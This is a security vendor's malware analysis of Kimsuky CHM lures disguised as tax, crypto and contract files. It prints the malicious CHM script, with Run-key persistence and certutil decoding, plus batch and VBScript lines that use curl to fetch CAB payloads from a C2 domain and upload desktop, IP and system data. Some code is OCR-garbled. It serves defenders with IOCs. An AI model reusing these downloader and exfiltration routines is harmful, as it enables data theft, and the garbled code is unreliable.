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Kimsuky Distributing CHM Malware Under Various Subjects

By ATCP

Published: 2023-06-15 - Archived: 2026-04-05 22:00:20 UTC

AhnLab Security Emergency response Center (ASEC) has continuously been tracking the Kimsuky group’s APT
attacks. This post will cover the details confirmed during the past month of May. While the Kimsuky group often
used document files for malware distribution, there have been many recent cases where CHM files were used in
distribution. Also, unlike in the past when the document files contained North Korea-related topics, the group is

now attempting to attack using a variety of subjects.
(1) Cases of Distribution

The names of the distributed files found during May are as follows. They show a variety of subjects such as

cryptocurrency, tax accounting, and contracts, and it seems the personal data of a certain individual is being used.

File Names Used in Distribution
(Coinone)Client Transaction Confirmation.chm
202305050017 Order Sheet (1).chm

BITWAK Application Form.chm
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20230412_Tax Investigation Return Guidelines.chm

2023 Annual Membership Fee Payment-related Materials(****).chm
Revised Lease Contract.chm

Payment Slip.chm

League of Legends Restricted Account Notice (Riot Games).chm
Written Act for the 2023 1st Provisional General Meeting.chm
Tuition Receipt.chm

CTP Lockup Cancellation Notice(***).chm

Materials for Publication Fees for Volume 23 Issue 5(***).chm

Rental(Renewal) Application Materials for Gumi General Business Support Center

(***).chm
Listing Deliberation Materials.chm

*** Proof of Social Insurance Subscription.chm

Table 1. File names used in distribution

The CHM malware in distribution generates a normal help window upon execution and performs malicious
behaviors through the malicious script inside. It is not easy for users to notice the malicious behaviors, having
been deceived with the help window disguised as a normal file. The help window generated in the user’s PC has a

different topic according to which particular field the target works in. Below are some of the common examples.
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Figure 1 shows the type that was disguised as a National Tax Service tax investigation return guide for users that
must file tax returns. The global income tax return season in Korea falls in May, and the threat actor seems to have

taken advantage of this fact.
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Figure 2 shows the type disguised as financial transaction data between certain users. The actual account number

and transaction histories can be seen, and this may have been created using stolen personal data.
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Figure 3 shows the type disguised as cryptocurrency transaction data. Like the second case, it contains personal

data such as an actual user’s email and phone number.
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There are also other types such as contracts, certificates, and order sheets as shown in Figure 4. These are the
major files in distribution, but as there are files disguised as the household register of a certain individual, ticket

reservation details, and other topics, users are advised to practice particular caution.

(2) Operation Process

qung03.cab
—
Drop
oeirituttbb.vbs
Register
Rurn
mnasrt.vbs
— — —
Drop Download Upload
oairituttvv.bat temprr03.bat loyes03.bat loyestemp03.bat uwpp.bs ©2
dwpp.vbs

The overall operation flow of this CHM type is shown in Figure 5. Additional scripts are downloaded to exfiltrate

user information and download additional malware. Each step is outlined below.
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clsid:52aZaaae-085d-4187-97ea-8c30db990436" wi
e="ShortCut">
Bitmap:dotor">

,emd, /e start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v oeirituttvv /t REG SZ /d

" 2USERPR ILEc\L)an\uexr)tuLva vbs" /f & echo
QGVJaGqu2ZmDQoNCm1mIGV4axNO[CJDOL:V:ZVY:lxQdWJaAWN:ZGB:dwllhnnzxﬂblhm:vﬂybx?xq:IChnhBRvIBVYSVQyKQDRDQp:desICAlaERD:DDVL3ZHZGpnAGVdeV3=TEuYZStL3Ru
ZCOwdWSnMDMudEhOI 1At LW91dHB1dCBDOLxVe2VyclxQdWIsaWNcZGo jdiiiah H moudy S 0eHOGP i BudhiwNCmN 1 cowg I CJodHRwO 1 8vdmSkandoZXJ1ZXd5MS 5 b20vdG5k L3F 1bmewiy 50
eHQ1 ICOtb3VOCHVOIEM6XEVZZXJzXFB1YnxpY1xkb2N1bWVadHNceXVa]] oe 1uttbhhat PPZiBub3QgZXhpc3QgIkMEXFVZZXIzXFB1 YmxpY1xkb2N1bWVadHNCcCXVaZzAZLnR4dCIg
[RAOKAG1tZW91dCAtdCAXICIub2Jy ZWF rDQopDQONCInIG5vdCBleGl zdCA T I POwaT INCORY IDGL JXGRVY 3V ZW50c1 xxdW5SnMDMudHh 0T 1 AcDQp0aWl 1b3VOIC10IDEGL25vYnJ1YWsSNCikN
CgOKY2Qg¥zpedXN1lenNeeEVibGl jXGRVY 3V ZW50c1wNCgORemVuI HB1bmewiMy 50eHQgeHVuZ zAz LmdhdCA+IG51bAOKemVaI HE 1bmewMy 50eHQgeXVuZzAz LmNhY 1 A+ IG51bAORDOPpZiBleGlz
dACA1QzpcVXN1cnNcUBEVibGL JXGRVY3VEZWS 0ol xwdWSnMDMuYmF 01 1 AoDQp j YWxs IEMEXFVzZXJ zXFB1YmxpY1xkb2N1bWVadHENccAVuZ zAz LmJhdCA+ IG5 1bA0RRKQOKDQONC I pFWE 1UMgORY2Fs
[bCBDO1xVe2Vycl xOx G9jdill bncwiy 51 YX0gP i BudWwNCgOROKVYSVOxDOpleGlo > iUSERPROFlLEi\Llan\Delrltuttbb dat" & echo

2VOI! JLYXR1T2, 1NoZWxXS. aeiritut‘hN.Uhs BjaHI 1 InYmFOIiAmIENG

1ac > "SUSERFRO . o gotuv.Jat™ & Start /MTﬂ certutil -decode

"&USERPROFILE#\Links\oeirituttvv.dat" "&USERPROFILE#\Links\oeirituttvv.vbs" & start /MIN certutil -decode "%USERPROFILE#\Links\ceirituttbb.dat"
"2USERPROFILE?\Links\oceirituttbb.bat" & start /MIN timeout -t 1 /nobreak & start /MIN CScript "$USERPROFILE%\Links\oceirituttvv.vbs" & start /MIN
timeout -t 2 /nobreak & start /MIN CScript "2USERPROFILE%\Links\oeirituttvv.vbs"'><PARAM name="Item2" value="273,1,1">

height=1>

</OBJECT>
<SCRIPT>
dotor.Click() ;
</SCRIPT>

The malicious script in the CHM is shown in Figure 6. Malicious commands are executed through a shortcut
object, and this object is called through the Click method.

e Executed Command
cmd, /c start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v oeirituttvv
/t REG_SZ /d “%USERPROFILE%\Links\oeirituttvv.vbs” /f & echo [Encoded command] >
“%USERPROFILE%\Links\oeirituttbb.dat” & echo [Encoded command] >
“%USERPROFILE%\Links\oeirituttvv.dat” & start /MIN certutil -decode
“%USERPROFILE%\Links\oeirituttvv.dat” “%USERPROFILE%\Links\oeirituttvv.vbs” & start /MIN
certutil -decode “%USERPROFILE%\Links\oeirituttbb.dat” “%USERPROFILE%\Links\oeirituttbb.bat” &
start /MIN timeout -t 1 /nobreak & start /MIN CScript “%USERPROFILE%\Links\oeirituttvv.vbs” & start
/MIN timeout -t 2 /nobreak & start /MIN CScript “%USERPROFILE%\Links\oeirituttvv.vbs

This command saves two encoded commands under “%USERPROFILE%\Links\oeirituttbb.dat” and
“%USERPROFILE%\Links\oeirituttvv.dat” and saves the commands decrypted through certutil in the files
oeirituttbb.vbs and oeirituttvv.bat. Afterward, it runs oeirituttbb.vbs and registers oeirituttbb.vbs to the RUN key

to enable it to run continuously.

oeirituttvv.vbs
Set WehShell = CreateCbject|(
WahShell.Run chr{34) & "&USE
Set WahShell = Nothing

oeiritutibb.bat
"heto: /S Svpdigheruewyl  com/tnd/pung03 EXE" =--output C:\Users‘\Public\documents\pung0l3.txt > numl
"hetp: /S vpds fa) b " —=gutput C:\Users‘Public\documents‘gungl3.txt > numl

if not exist "C:\Users'\Public\documents'qung03.cxt"
timeocut =t 1 /nobreak

if not exist "C:\U=mers'Public\documents'qungl3.cxc"
timecut -t 1 Snobreak
od c:i\users‘\publichdocumentah

ren pungl3.cxt pungd3.bat > nml
ren gung03.cxt qungds.cab > nol

Oeirituttbb.vbs is a runner that runs the oeirituttvv.bat file created with it. oeirituttvv.bat downloads additional

malicious files through curl. Two files are downloaded: a BAT file and a CAB file.
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e Download URL
hxxp://vndjgheruewy1[.Jcom/tnd/pung03.txt
hxxp://vndjgheruewy1[.]Jcom/tnd/qung03.txt

pungd3.bat
xpand qungldl.cab =F:+ =-d > nml

jdel /f /g qung03.cab > mml
jdel /f /g qungO3.txt > nml

if exist "C:\Users\FPublic\documents\ temprri3.bat"®
call temprri3.bat > nol

[ gungo3.cab - AhnLab V3 Zi
OHEF SRR R0 20 30 BARTIR S&EH

R o A Q-

NEZS Tag’| Taw’ 27

i qungls.cab o8 Hu 37 wa 57 uaf B8 SHE g8
[ dwppovbs g72 o 100% VBScript 25 2023-05-10 OF..
[ loyes03 bat 837 o 100% Windows B 2023-06-02 23
[Rlloyestemp03 bat a7z o 100% Windows B 2023-06-01 O
[E]mnazrt vhs 145 0 100% VBScript 235 2023-06-01 OF.
[ tempm03 bat 181 o 100% Windows S| 2023-06-01 2.
[Bluwppbs 1113 ] 100% VBScript 25 2033-05-10 0.

The downloaded BAT file (pung03.bat) decompresses the CAB file (qung03.cab), then runs temprr03.bat. The

CAB file contains a total of 6 scripts. The features of each script are outlined in Table 2.

File Name Feature
temprr03.bat Runs loyes03.bat

Registers to RunKey (mnasrt.vbs)

loyes03.bat Runs loyestemp03.bat
Runs dwpp.vbs
mnasrt.vbs Runs loyes03.bat

Collects user information

loyestemp03.bat

Runs uwpp.vbs
dwpp.vbs Downloads CAB
uwpp.vbs Uploads user information

Table 2. Features of each script

The final malicious behaviors performed by this script are exfiltrating user information and downloading

additional malicious files.
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loyestemp03.bat
dir C:\U=zara’ \desktoph /3 > Youdk.txt
myip.opendns.com resolverl.opendns.com > \ipif.cxtc
o> wecif.cxco

cimsour -t 5 /nobreak

"hrep:f/vndighervewy]l . com/uun0s/ uwpp . ohp™ cudk.txt >nal
"htep:/Svpdigheruewyl . com/uun0s uwpn . Dho" ipif.cxe : »nal
"hesp:SSvpdighervewy]l, com/uun06/ywpn . oho" stif.oxt _atif.txt »nul

- uwppvbs__________________________|
=LringURL = W3cripc.argumentcs.icem{0)
QLOD = WSeript.argumenca.icem(l)
NDEU = W3cript.argumencs.icem{2)

Dim xFileSvacemObi: Set xFileSysctemOb)y = Createfbject("Scripting.FileSyster =ct™) .OpenTexctFile (QLOD, 1)
Dim strFileData: scrFileData = xFileSystemObiy.ReadAll()
Dim strPoscData: strPostData = "FileName=" & NDHU & "sFileDate=" & strFileData

Dim xHTtp: Set xHeop = createcbject ("M 2.
SerTimeouts 0, 60000, 300000, 300000

Open "E ", stringURL, False

-JetRequestHeader ' nte L Ll® ppl % m-urléncoded” & strBoundary
.SetRequestHeader "Conte Ler » Len(strPostData)

Resume Hext

Humber = 3

Http.Send sctrPostData

File Name Saved Information
cudk.txt List of files on the Desktop (including subfolders)
ipif.txt IP information

stif.txt System information

Table 3. Exfiltrated information

The code for the exfiltration of user information is shown in Figure 9, and the pieces of exfiltrated information are
shown in Table 3. User information is collected through loyestemp03.bat, and uwpp.vbs sends the collected

information along with the PC name to “hxxp://vndjgheruewy1[.Jcom/uun06/uwpp.php”.
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loyes03.bat

dwpp.vba hotp:/Svndigheruswyl,com/iun06dw $COMPUTERNAMFS . dat C:‘\Usera\Public\documents\jun.dat > nml

ren jun.dat jun.cab > nml

expand jun.cab =F:# > nml
del /f i cab > mml
call tempr t > mml

RLOD = WScript.arguments.item(0}
NDED = WScript.arguments.item(l}

Dim xHttp: Set xHttp = createcbject{"MSMMLI. Ser
kHtcp.2etTimeoucs 0, 60000, 300000, 300000

Dim xStream: Set xStream = createocbject ("Adodb. STz m"y

Str
kHttp.Open "GET", QLOD, Fal=ze

n Error Resume MNext
Err.clear
Err.Number = 3
IF Err.Humber<>0 Then
xHotp. Send
IF Err.Humber <»> 3
Set xStream = n
Set xHttp = nothing
WScript.Quic
End If
End If

If xHttp.Status = 200 Then
xStream.type = 1
xStream.open
xStream.write xHttp.responasBody
¥xStream.savetofile HDED , 2

The code for file download is shown in Figure 10. It seems that the threat actor checks the stolen user information,
and only when the system is a target of attack, uploads additional malicious files to the C2. If the system is a
target, the threat actor uploads files with the infected PC’s name. Infected PCs continuously make attempts to
download through the script registered to RunKey, and when additional files are uploaded, the files are
downloaded. It then decompresses the downloaded files through the expand command before executing them.

This allows us to assume that the additional file is also a CAB file.

e Download URL
hxxp://vndjgheruewy1[.]Jcom/jun06/dw_%COMPUTERNAME%.dat

As such, more elaborate attacks have become possible because the types of malicious files downloaded may differ
according to the attack target. Recently, there has been an increase in malware distribution targeting particular
users using personal information. Cases of using CHM files in APT attacks are also commonly found. Users must
carefully check the senders of emails and refrain from opening files from unknown sources. They should also

perform routine PC checks and always keep their security products updated to the latest version.

[File Detection]
Downloader/CHM.Generic (2023.06.03.00)
Trojan/BAT.Runner (2023.06.17.00)
Trojan/VBS.Runner (2023.06.17.00)
Downloader/BAT.Generic (2023.06.17.00)
Downloader/VBS.Generic (2023.06.17.00)
Infostealer/BAT.Generic (2023.06.17.00)
Infostealer/VBS.Generic (2023.06.17.00)
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MD5

075160d6c8d82b96d1ae7893761695a6
7¢7b8dd6dd4ba7b443e84287671£0e79
9861999409cdbc1{7c4c1079d348697¢
98764ae00cee9f2cc87530601c159387
ae6fdb8945991b587ab790c2121345ce
Additional IOCs are available on AhnLab TIP.
URL
http[:]//vndjgheruewy1[.]Jcom/jun06/dw_%COMPUTERNAME%[.]dat
http[:]//vndjgheruewy1[.]com/tnd/pung03[.]txt
http[:]//vndjgheruewy1[.]com/tnd/qung03[. Jtxt
http[:]//vndjgheruewy1[.]Jcom/uun06/uwppl[.]php
Additional IOCs are available on AhnLab TIP.

Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP. For subscription details, click

the banner below.

Ahnlab TIP

Get Started with AhnLab's State-of-the-Art Threat Intelligence

atip.ahnlab.com

Source: https://asec.ahnlab.com/en/54678
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